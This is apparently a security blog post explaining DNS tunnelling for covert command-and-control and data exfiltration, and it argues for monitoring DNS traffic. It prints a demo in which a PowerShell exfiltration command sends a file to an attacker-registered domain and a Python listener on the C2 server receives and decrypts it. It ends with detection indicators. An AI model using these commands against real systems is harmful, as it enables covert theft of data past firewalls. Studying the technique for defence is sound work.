Even hackers wear (protective) masks, part 2

In part 1 of this blog series, we considered two fundamental goals of cyber attackers, i.e. remote control of a victim and covert persistence from the attacker’s “command&control” (C2) server. We know first-hand that the set-up of a reverse communication channel to internal assets of the target organisation is not always trivial. The ultimate manoeuvre used by pentesters on site in equally extreme situations is reverse tunnelling through the established DNS (Domain Name Service) protocol. The technique, which (sadly) is known not only to trained “ethical” hackers, will be demonstrated in this blog post.

As already mentioned, we also encounter exemplary security-hardened systems that do not permit random communication with external untrustworthy sources. In the best case, a pentester or a red teamer or, in the worst-case scenario, a hacker or injected malicious code tend to find their opportunity in legitimate communication channels (e.g. HTTP(S), RDP, SMTP, etc.). Modern security approaches may be used to detect obfuscation attempts in the form of so-called tunnelling relatively easily. Such techniques can be prevented efficiently as early as at network level. The same goes for the protocol and application inspection of the DNS protocol, which is often side-tracked – in the same manner as it was deliberately forgotten in the previous blog. To illustrate the issue, we provide an attractive description of a tool, otherwise widely available on the world wide web, that enables covert management of a remote system or exfiltration of data from it.

The shell uses legitimate DNS requests and responses to encode commands and exfiltrated data, making the traffic look like just a bunch of funky DNS requests on the wire.

But let’s start at the basics. The legacy DNS service is considered as indispensable and is often compared to the traditional phone book in the world of the Internet. Namely, it enables the resolution of domain-name identifiers (e.g. of devices or services) to their corresponded Internet addresses used by connected ICT systems for communication with one another. It has been found that the prevalence of the DNS concept is the most likely reason for the perceived trust in it and its weak supervision in terms of cybersecurity. At this point, we would like to further enhance the initial observation; we believe that an analysis of DNS resolutions in typical organisations is anything but fulfilled potential.

Here are three essential arguments for continuous monitoring of DNS traffic:

• Expansion of security visibility within the organisation to a arbitrary type of communication that uses DNS (e.g. HTTP(S), RDP, SSH or any other attempt of an egress tunnelling from an infected device) for naming resolution.
• DNS resolution is also used by Advanced Persistent Threats (e.g. DGA – Domain Generation Algorithm).
• The integration of hybrid security solutions with dedicated Threat Intelligence Feeds that incorporates DNS IOCs (Indicators of Compromise).

Permitted use of DNS even in the most restricted environments is, as a rule, good news for a hacker, both an ethical as well as a malicious one. It provides sufficient leverage for its abuse in circumstances when remote control via other (more intuitive) channels is not permitted. It turns out that a seemingly more conservative perimeter security policy that allows outgoing communication solely through UDP/53 socket with merely the trustworthy primary DNS server is considered lax enough. Moreover, the hierarchical design of the DNS concept allows reliable interaction between a (un)controlled malicious code (in the organisation’s internal network) and the attacker’s C2 server even though there is no direct connectivity with the victim of the attack or the latter is not allowed or is explicitly prohibited by perimeter security policy (e.g. firewalls). This unique behavior is shown in the example below:

To execute such an attack, the attacker must register a domain of his choice (a one-off cost of $2 suffices) with its corresponding authoritative DNS server pointing to the C2 command server in attacker’s possession. A malicious daemon is set up on the latter that is not aimed at serving legitimate DNS responses, but at interacting with a (un)controlled code on the compromised victim.

To demonstrate the technique, we registered the domain siq.best:

DOMAIN REGISTRATION: whois siq.best | grep name Domain Name: SIQ.BEST Name Server: C2_SERVER_FQDN Name Server: NS4.MOJHOST.SI

Below is a concise demonstration of the exfiltration of a sensitive information using the described technique:

VICTIM [SIQ\mmesojednik]: PS C:\Tools\DNSExFil> Invoke-DNSExfiltrator -i C:\IMPORTANT\contract.txt -d siq.best -p password [*] Compressing (ZIP) the [contract.txt] file in memory [*] Encrypting the ZIP file with password [password] [*] Encoding the data with Base64URL … [*] Sending data… [*] DONE !   ATTACKER [C2 server | Authoritative DNS server] #python dnsexfiltrator.py -d siq.best -p password [*] DNS server listening on port 53 [+] Data was encoded using Base64URL … [+] Receiving file [contract.txt] as a ZIP file in [1] chunks [============================================================] 100.0%   … [+] Decrypting using password [password] and saving to output file [contract.txt.zip] [+] Output file [contract.txt.zip] saved successfully … # zcat contract.txt.zip TOP SECRET!!!

The uniqueness of the above technique, which makes it even more convincing and efficient, is the masking of the identity (IP address or FQDN) of the C2 command server throughout the exfiltration procedure. Perhaps you have noticed that only the domain name is specified in the command-line switches above, but not the server address itself.

As evident from the traffic capture (use of the Wireshark tool) on the part of the simulated victim, the latter directly communicates only with the primary trustworthy DNS server. The Internet address of the C2 command server, which at the same time plays the role of the authoritative DNS server for the attacker’s siq.best domain, does not appear in the captured communication. The latter makes it extremely difficult to detect and prevent such an attack.

The actual interaction and created haze in the process of data exfiltration are evident from the recorded traffic. Indicators of compromise (IOCs) or deviation from legitimate DNS resolutions should obviously be (threat) hunted elsewhere, e.g. in high entropy of sought sub-domains of the umbrella domain siq.best, in the intensity of DNS querying from a single source, in the generated volume of DNS traffic, etc.

At this point, we would like to hold our breaths for a while and invite you, the readers, to share your experiences. The same invitation is also extended to specialized blue teams, Security Operations Centres (SOC) and enthusiastic IT specialists who detect and prevent the described techniques continuously and on an ongoing basis. Stay tuned …